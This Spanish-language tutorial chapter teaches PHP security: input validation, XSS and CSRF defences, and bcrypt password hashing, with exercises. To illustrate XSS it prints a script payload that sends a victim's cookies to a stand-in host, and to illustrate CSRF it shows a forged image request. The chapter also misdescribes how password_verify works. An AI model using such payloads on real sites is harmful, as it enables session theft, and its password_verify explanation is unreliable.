Saltar al contenido
Portada » Lenguajes » 14. Seguridad en PHP

14. Seguridad en PHP

  • por

Seguridad en PHP. Cuando nos enfrentamos a manejar datos sensibles de usuarios —como contraseñas, correos electrónicos o información financiera— la seguridad se vuelve en el pilar fundamental del desarrollo. Sin una adecuada protección, nuestra aplicación puede quedar expuesta a ataques comunes como la inyección de código malicioso, el robo de sesiones, o el acceso no autorizado a datos.

Este capítulo abordararemos las prácticas esenciales para hacer nuestras aplicaciones PHP más seguras frente a amenazas comunes del entorno web. Veremos cómo manejar correctamente la entrada de datos de los usuarios, protegernos contra ataques como XSS (Cross-site Scripting) y CSRF (Cross-Site Request Forgery), y cómo proteger contraseñas con técnicas como el hashing con bcrypt. Empezamos!!!

14.1 Manejo seguro de datos de usuario

El manejo de datos introducidos por el usuario es uno de los aspectos más críticos en la seguridad de cualquier aplicación web. Todo dato que proviene de un formulario, una URL, una cookie o incluso de una cabecera HTTP, debe considerarse potencialmente malicioso, y por ello, requiere de un tratamiento adecuado.

En este apartado veremos las herramientas que PHP proporciona para validar, filtrar, y asegurar los datos de entrada.

¿Por qué es importante validar y sanear datos de usuario?

Supongamos que tienes un formulario de contacto donde el usuario introduce su nombre y mensaje. Si tú simplemente tomas esos datos y los insertas directamente en la base de datos o los muestras en pantalla sin filtrarlos, corres el riesgo de permitir a un atacante:

  • Ejecutar consultas SQL maliciosas (inyección SQL).
  • Inyectar scripts que se ejecuten en el navegador de otros usuarios (XSS).
  • Corromper la estructura HTML o la lógica de tu aplicación.

En resumen: nunca debes confiar en los datos introducidos por el usuario.

Herramientas de PHP para validar y sanear datos

PHP ofrece diferentes formas de manejar los datos que ingresan a través de formularios y otros medios, veamos algunos:

1. filter_input() y filter_var()

Estas funciones permiten validar y sanear datos de entrada de forma segura.

filter_input()

Sirve para obtener un valor desde una entrada externa (como $_GET, $_POST, $_COOKIE, etc.) y validarlo o sanearlo en un solo paso.

Ejemplo: Validar una dirección de email desde un formulario

$email = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);

if ($email === false) {
echo "Correo no válido.";
} else {
echo "Correo válido: $email";
}

Como puedes ver, filter_input ya se encarga de comprobar que el formato del email es correcto, es capaz de comprobar que ell formato estructura nombre_emial@dominio.xxx.

filter_var()

Se usa para aplicar filtros directamente sobre una variable ya existente.

$nombre = "<h1>Pedro</h1>";
$nombre_limpio = filter_var($nombre, FILTER_SANITIZE_STRING); // Elimina etiquetas HTML

echo $nombre_limpio; // Muestra: Pedro

✅ Validación vs. Saneamiento

ConceptoQué haceEjemplo
ValidaciónVerifica que el dato cumpla una estructura o formato específicoFILTER_VALIDATE_EMAIL
SaneamientoLimpia el dato eliminando o modificando caracteres peligrososFILTER_SANITIZE_SPECIAL_CHARS

A continuación veamos unas tablas con todos los filtros de Saneamiento y Validación.

Fltros de Saneamiento.

ConstanteDescripción
FILTER_SANITIZE_EMAILElimina caracteres no permitidos en una dirección de correo electrónico.
FILTER_SANITIZE_ENCODEDCodifica una cadena para que sea segura en una URL (codificación URL).
FILTER_SANITIZE_MAGIC_QUOTESAplica addslashes() a una cadena (obsoleto desde PHP 7.3).
FILTER_SANITIZE_NUMBER_FLOATElimina todo excepto números, +, -, . y e (útil para números decimales).
FILTER_SANITIZE_NUMBER_INTElimina todo excepto dígitos, signos + y -.
FILTER_SANITIZE_SPECIAL_CHARSConvierte caracteres especiales en entidades HTML (como < a &lt;).
FILTER_SANITIZE_FULL_SPECIAL_CHARSSimilar al anterior pero convierte comillas también.
FILTER_SANITIZE_STRINGElimina etiquetas HTML y caracteres especiales (obsoleto desde PHP 8.1).
FILTER_SANITIZE_STRIPPEDAlias de FILTER_SANITIZE_STRING (obsoleto desde PHP 8.1).
FILTER_SANITIZE_URLElimina caracteres no válidos en una URL.

Filtros de Validación

ConstanteDescripción
FILTER_VALIDATE_BOOLEANValida como booleano. Acepta «1», «true», «on», «yes», «0», «false», «off», «no». Devuelve true o false.
FILTER_VALIDATE_EMAILValida que el valor sea un email con formato válido.
FILTER_VALIDATE_FLOATValida que sea un número decimal (permite configurar opciones como separador decimal).
FILTER_VALIDATE_INTValida que sea un número entero.
FILTER_VALIDATE_IPValida una dirección IP. Puedes usar flags para limitar a IPv4 o IPv6.
FILTER_VALIDATE_MACValida una dirección MAC.
FILTER_VALIDATE_REGEXPValida mediante una expresión regular personalizada (options['regexp']).
FILTER_VALIDATE_URLValida una URL. También puede usar flags como FILTER_FLAG_PATH_REQUIRED.

Flags Adicionales (opciones modificadoras)

Estas se usan como parte del parámetro flags en filter_var() o filter_input():

ConstanteAplicable aDescripción
FILTER_FLAG_ALLOW_FRACTIONFILTER_VALIDATE_FLOATPermite el uso del punto decimal.
FILTER_FLAG_ALLOW_THOUSANDFILTER_VALIDATE_FLOAT, FILTER_VALIDATE_INTPermite el uso de comas como separador de miles.
FILTER_FLAG_ALLOW_SCIENTIFICFILTER_VALIDATE_FLOATPermite notación científica (ej. 1e3).
FILTER_FLAG_NO_ENCODE_QUOTESFILTER_SANITIZE_SPECIAL_CHARSNo codifica comillas.
FILTER_FLAG_STRIP_LOWSaneadoresElimina caracteres con valor ASCII < 32.
FILTER_FLAG_STRIP_HIGHSaneadoresElimina caracteres con valor ASCII > 127.
FILTER_FLAG_STRIP_BACKTICKFILTER_SANITIZE_ENCODEDElimina el carácter de tilde invertida `.
FILTER_FLAG_ENCODE_LOWFILTER_SANITIZE_ENCODEDCodifica caracteres ASCII < 32.
FILTER_FLAG_ENCODE_HIGHFILTER_SANITIZE_ENCODEDCodifica caracteres ASCII > 127.
FILTER_FLAG_ENCODE_AMPFILTER_SANITIZE_ENCODEDCodifica el carácter &.
FILTER_FLAG_IPV4FILTER_VALIDATE_IPValida sólo direcciones IPv4.
FILTER_FLAG_IPV6FILTER_VALIDATE_IPValida sólo direcciones IPv6.
FILTER_FLAG_NO_RES_RANGEFILTER_VALIDATE_IPRechaza rangos IP reservados.
FILTER_FLAG_NO_PRIV_RANGEFILTER_VALIDATE_IPRechaza IPs privadas (como 192.168.x.x).
FILTER_FLAG_PATH_REQUIREDFILTER_VALIDATE_URLLa URL debe tener una ruta (path).
FILTER_FLAG_QUERY_REQUIREDFILTER_VALIDATE_URLLa URL debe tener una cadena de consulta.
FILTER_NULL_ON_FAILUREValidadoresRetorna null en vez de false si falla la validación.

Ejemplos prácticos

Veamos algunos ejemplos prácticos para entender mejor su funcionamiento.

Validar un número entero entre 1 y 100:

$edad = filter_input(INPUT_POST, "edad", FILTER_VALIDATE_INT, [
"options" => [
"min_range" => 1,
"max_range" => 100
]
]);

if ($edad === false) {
echo "Edad no válida";
} else {
echo "Edad válida: $edad";
}

Saneamiento de texto que viene con HTML potencialmente peligroso

$mensaje = $_POST['mensaje'];
$mensaje_seguro = htmlspecialchars($mensaje, ENT_QUOTES, 'UTF-8');

echo "Mensaje: " . $mensaje_seguro;

Esto previene que el usuario introduzca un <script> malicioso.

Validación manual

A veces, los filtros de PHP no son suficientes y necesitas validaciones específicas, para ello puedes hacer uso de las expresiones regulares dentro de la función preg_match. Por ejemplo:

$usuario = $_POST['usuario'];

if (preg_match("/^[a-zA-Z0-9_]{5,20}$/", $usuario)) {
echo "Nombre de usuario válido";
} else {
echo "El nombre debe tener entre 5 y 20 caracteres alfanuméricos.";
}

Combina validación + mensajes personalizados

Es importante informar al usuario en caso de que haya habido un error en la validación del campo.

$correo = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);

if (!$correo) {
$error = "Por favor, introduce una dirección de correo válida.";
} else {
// Proceso seguro
, continuamos....
}

14.2 Protección contra XSS y CSRF

En este punto abordamos dos de las amenazas de seguridad más comunes y peligrosas en aplicaciones web: el Cross-Site Scripting (XSS) y el Cross-Site Request Forgery (CSRF). Ambas vulnerabilidades pueden comprometer datos sensibles, identidades de usuario, sesiones, y hasta el control de la aplicación por parte de un atacante.

¿Qué es XSS (Cross-Site Scripting)?

El Cross-Site Scripting es un tipo de ataque en el cual un atacante inyecta scripts maliciosos (por lo general, JavaScript) en sitios web. Estos scripts se ejecutan en el navegador de la víctima y pueden:

  • Robar cookies de sesión.
  • Redirigir a sitios maliciosos.
  • Modificar el contenido mostrado en la página.
  • Realizar acciones en nombre del usuario sin su consentimiento.

Ejemplo típico de ataque XSS

Supón que tienes un sistema de comentarios en tu sitio:

echo "Comentario: " . $_POST['comentario'];

Un usuario malicioso puede enviar:

<script>document.location='http://malicioso.com/robar.php?cookie='+document.cookie</script>

Si lo muestras directamente, este código se ejecutará en el navegador de cualquier usuario que vea ese comentario. Esto es un grave fallo de seguridad.

¿Cómo prevenir XSS?

Escapar cualquier contenido antes de mostrarlo en HTML

Usa htmlspecialchars() para convertir caracteres especiales en entidades HTML:

$comentario_seguro = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo "Comentario: " . $comentario_seguro;

Esto convierte el <script> en:

&lt;script&gt;...&lt;/script&gt;

Y evita que se ejecute como código.

Nunca mostrar entradas del usuario directamente sin filtrarlas

Aplica siempre un filtro de salida adecuado al contexto:

ContextoFunción recomendada
HTMLhtmlspecialchars()
Atributos HTMLAsegúrate de eliminar comillas o escaparlas
JavaScriptNo insertar datos directamente dentro de scripts
URLsurlencode() o rawurlencode()

Utilizar frameworks

Muchos frameworks PHP como Laravel, Symfony o Blade Templates ya hacen escaping automático por defecto, lo que reduce drásticamente el riesgo de XSS.

Ejemplo completo con prevención XSS

<form method="post">
<label>Comentario:</label>
<input type="text" name="comentario">
<input type="submit" value="Enviar">
</form>

<?php
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
$comentario = htmlspecialchars($_POST['comentario'], ENT_QUOTES, 'UTF-8');
echo "<p>Tu comentario fue: $comentario</p>";
}

¿Qué es CSRF (Cross-Site Request Forgery)?

El Cross-Site Request Forgery es un ataque en el que un usuario autenticado en un sitio web es engañado para realizar una acción no intencionada en ese sitio, sin saberlo.

El atacante crea una petición maliciosa y hace que el navegador del usuario (ya autenticado) la envíe automáticamente.

Ejemplo:

Supón que tienes un formulario para cambiar el email de un usuario:

<form method="POST" action="cambiar_email.php">
<input type="email" name="nuevo_email">
<input type="submit" value="Cambiar">
</form>

Si cambiar_email.php no verifica la autenticidad de la petición, un atacante podría enviar desde su propio sitio:

<img src="https://tusitio.com/cambiar_email.php?nuevo_email=hacker@correo.com">

Si el usuario está autenticado, el navegador enviará la cookie de sesión automáticamente, ¡y el email será cambiado sin su consentimiento!

¿Cómo prevenir CSRF?

Usar tokens CSRF

Consiste en generar un token aleatorio único por sesión o formulario, que debe enviarse con cada petición. Si el token no está presente o es inválido, se rechaza la solicitud.

Ejemplo de implementación de protección CSRF

1º Generar el token

session_start();

if (empty($_SESSION['csrf_token'])) {
$_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

2º Incluir el token en el formulario

<form method="POST" action="procesar.php">
<input type="hidden" name="csrf_token" value="<?php echo $_SESSION['csrf_token']; ?>">
<input type="text" name="nombre">
<input type="submit" value="Enviar">
</form>

3º Verificar el token en el script que recibe los datos

session_start();

if (!hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
die("Error: token CSRF inválido");
}

// Continúa con el procesamiento del formulario

hash_equals() es importante para evitar ataques de timing.

Buenas prácticas contra CSRF

Práctica¿Por qué es útil?
Usar tokens CSRF únicos por formularioEvita que peticiones externas puedan falsificarse
Usar cookies de sesión con flag SameSite=StrictImpide envío automático en navegaciones cruzadas
No confiar nunca en que la petición viene de tu formularioValidar token y/o referer siempre

Resumiendo

  • XSS permite a los atacantes ejecutar scripts en el navegador de tus usuarios. Siempre debes escapar la salida de los datos.
  • CSRF permite a un atacante ejecutar acciones en nombre de usuarios autenticados. Puedes prevenirlo con tokens únicos y controles en el servidor.
  • Ambas vulnerabilidades son muy comunes y peligrosas, pero pueden evitarse con buenas prácticas y el uso correcto de las funciones que PHP proporciona.

14.3 Hashing de contraseñas con bcrypt

Otro de los aspectos clave de la seguridad en cualquier aplicación web es el manejo adecuado de contraseñas. Almacenar contraseñas en texto plano (sin cifrar o proteger de ninguna manera) es una de las peores prácticas que se pueden cometer, y puede tener consecuencias catastróficas si la base de datos se ve comprometida.

Por eso, en este apartado aprenderemos a almacenar contraseñas de forma segura utilizando bcrypt, un algoritmo de hashing fuerte y ampliamente recomendado para proteger contraseñas en PHP.

¿Qué es el hashing?

El hashing es un proceso unidireccional mediante el cual se transforma un texto (como una contraseña) en una cadena de caracteres irreversiblemente cifrada. A diferencia de la encriptación, el hashing no se puede revertir: no puedes obtener la contraseña original a partir del hash.

El objetivo del hashing es que incluso si un atacante accede a tu base de datos, no pueda conocer las contraseñas originales.

¿Por qué usar bcrypt?

bcrypt es un algoritmo de hashing que:

  • Añade automáticamente una sal (salt) única a cada contraseña antes de hashearla.
  • Es resistente a ataques de fuerza bruta y rainbow tables.
  • Permite ajustar el coste computacional (complejidad) del proceso mediante un parámetro llamado cost.

PHP ofrece una función nativa que facilita mucho su uso: password_hash().

Ejemplo completo: Hashear y verificar contraseñas

1. Crear un hash de una contraseña

<?php
$contraseña = 'MiContraseñaSegura123';
$hash = password_hash($contraseña, PASSWORD_BCRYPT);

echo "Hash generado: " . $hash;
?>

El resultado será algo como:


$2y$10$GEt.X7K2DqxIYEVg3Nw2..RmUMqZEqYu38DqzUhhFnJrU8jJVE3dG


Este hash incluye la sal, el tipo de algoritmo y el coste.

2. Verificar una contraseña contra el hash

Para comprobar si una contraseña es válida utilizamos la función password_verify(). A esta función le facilitamos la contraseña hasheada y la contraseña a comprobar. Lo único que hace es aplicar también la función password_hash() sobre la nueva contraseña y ver si el resultado coincide con la contraseña hasheada previamente.

<?php
$contraseñaIngresada = 'MiContraseñaSegura123';
$hashGuardado = '$2y$10$GEt.X7K2DqxIYEVg3Nw2..RmUMqZEqYu38DqzUhhFnJrU8jJVE3dG';

if (password_verify($contraseñaIngresada, $hashGuardado)) {
echo "Contraseña válida";
} else {
echo "Contraseña incorrecta";
}
?>

Ajustar el coste del algoritmo

Puedes definir la «dureza» del hash aumentando el parámetro cost, esto impactará directamente en el coste/aumento de cómputo para ejecutar la acción:

$options = ['cost' => 12];
$hash = password_hash($contraseña, PASSWORD_BCRYPT, $options);
  • El valor por defecto es 10.
  • Cuanto mayor el coste, más tiempo tarda en calcularse el hash, pero también es más difícil de romper.

¿Debo rehashear contraseñas con el tiempo?

Sí. Puedes usar password_needs_rehash() para saber si una contraseña necesita ser rehasheada (por ejemplo, si cambiaste el coste):

if (password_needs_rehash($hashGuardado, PASSWORD_BCRYPT, ['cost' => 12])) {
$nuevoHash = password_hash($contraseña, PASSWORD_BCRYPT, ['cost' => 12]);
// Guardar nuevo hash en base de datos
}

Cómo se usaría en un flujo típico de registro/login

Registro:

$password = $_POST['password'];
$hash = password_hash($password, PASSWORD_BCRYPT);

// Guardar $hash en la base de datos

Inicio de sesión:

$password = $_POST['password'];
// Obtener $hashGuardado de la base de datos

if (password_verify($password, $hashGuardado)) {
echo "Acceso concedido";
} else {
echo "Credenciales incorrectas";
}

Buenas prácticas

PrácticaDescripción
Nunca guardes contraseñas en texto planoSiempre hashea
Usa password_hash() y password_verify()Son funciones seguras y fáciles
Ajusta el cost según el rendimiento del servidorBalance entre seguridad y eficiencia
Usa password_needs_rehash() cuando cambies el cost o el algoritmo

Conclusión

  • Hashear contraseñas es obligatorio para garantizar la seguridad de los usuarios.
  • bcrypt es actualmente uno de los algoritmos más seguros y recomendados.
  • PHP proporciona funciones (password_hash, password_verify) para implementar esta seguridad fácilmente.

En este capítulo hemos aprendido la importancia de aplicar medidas de seguridad en nuestras aplicaciones PHP para proteger los datos del usuario y evitar vulnerabilidades comunes. Comenzamos explorando el manejo seguro de la información que proviene del usuario, enfatizando la necesidad de validar y sanear los datos utilizando funciones como filter_input() o htmlspecialchars(). Luego abordamos dos de los ataques más frecuentes en entornos web: XSS (Cross-Site Scripting), que se previene escapando correctamente la salida, y CSRF (Cross-Site Request Forgery), cuya protección se logra mediante tokens únicos que se verifican en cada envío de formulario. Finalmente, analizamos el tratamiento seguro de contraseñas usando bcrypt a través de las funciones password_hash() y password_verify(), evitando el uso de algoritmos obsoletos como md5 y garantizando que las contraseñas se almacenen de forma segura. Estas buenas prácticas son fundamentales para construir aplicaciones robustas, confiables y resistentes frente a ataques.

Veamos ahora unos ejercicios propuestos:

Ejercicio 1: Validar y Sanear un Formulario de Contacto
Enunciado:
Crea un formulario simple de contacto que permita introducir nombre, correo electrónico y un mensaje. Al enviarse, los datos deben ser validados y saneados correctamente para evitar inyecciones de código o caracteres maliciosos.

Código:

<?php
$errores = [];
$nombre = $email = $mensaje = "";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    // Validación y saneamiento
    $nombre = filter_input(INPUT_POST, "nombre", FILTER_SANITIZE_FULL_SPECIAL_CHARS);
    $email = filter_input(INPUT_POST, "email", FILTER_VALIDATE_EMAIL);
    $mensaje = htmlspecialchars(trim($_POST["mensaje"]));

    if (!$email) {
        $errores[] = "El correo electrónico no es válido.";
    }

    if (empty($mensaje)) {
        $errores[] = "El mensaje no puede estar vacío.";
    }

    if (empty($errores)) {
        echo "<p>Formulario recibido correctamente.</p>";
        echo "<p><strong>Nombre:</strong> $nombre</p>";
        echo "<p><strong>Email:</strong> $email</p>";
        echo "<p><strong>Mensaje:</strong> $mensaje</p>";
    }
}
?>

<form method="POST">
    Nombre: <input type="text" name="nombre"><br>
    Email: <input type="email" name="email"><br>
    Mensaje: <textarea name="mensaje"></textarea><br>
    <button type="submit">Enviar</button>
</form>

Explicación:

Este formulario filtra el nombre usando FILTER_SANITIZE_FULL_SPECIAL_CHARS, valida el correo con FILTER_VALIDATE_EMAIL y escapa el mensaje manualmente. Así evitamos ataques como XSS y aseguramos que los datos procesados estén limpios.

Ejercicio 2: Protección contra CSRF
Enunciado:
Implementa un formulario con token CSRF para evitar que sea enviado por un tercero sin el consentimiento del usuario.

Código:

<?php
session_start();

// Generar token CSRF
if (empty($_SESSION['csrf_token'])) {
    $_SESSION['csrf_token'] = bin2hex(random_bytes(32));
}

$mensaje = "";
if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    if (hash_equals($_SESSION['csrf_token'], $_POST['csrf_token'])) {
        $mensaje = "Formulario enviado correctamente con protección CSRF.";
    } else {
        $mensaje = "Error: Token CSRF inválido.";
    }
}
?>

<form method="POST">
    <input type="hidden" name="csrf_token" value="<?= $_SESSION['csrf_token'] ?>">
    <input type="text" name="dato" placeholder="Introduce algo...">
    <button type="submit">Enviar</button>
</form>

<p><?= $mensaje ?></p>

Explicación:

Este ejemplo genera un token único por sesión y lo compara con el token enviado en el formulario. Si no coinciden, se evita el procesamiento de los datos, protegiendo contra ataques CSRF.

Ejercicio 3: Registro Seguro con Hash de Contraseña
Enunciado:
Crea un formulario de registro donde el usuario introduzca una contraseña. Al enviarse, la contraseña debe ser hasheada con password_hash() y almacenada (simulada aquí en pantalla).

Código:

<?php
$hash = "";

if ($_SERVER["REQUEST_METHOD"] === "POST") {
    $password = $_POST['password'];

    // Crear hash seguro
    $hash = password_hash($password, PASSWORD_DEFAULT);

    echo "<p>Contraseña hasheada: $hash</p>";
}
?>

<form method="POST">
    Contraseña: <input type="password" name="password">
    <button type="submit">Registrar</button>
</form>

Explicación:

Este código utiliza password_hash() con PASSWORD_DEFAULT, que por defecto usa el algoritmo bcrypt. El resultado es un hash seguro que se podría guardar en la base de datos. Las contraseñas nunca deben almacenarse en texto plano.

Bibliografía de programación en PHP.

LogoPHP- Introducción al tutorial de PHP

Deja una respuesta

Tu dirección de correo electrónico no será publicada. Los campos obligatorios están marcados con *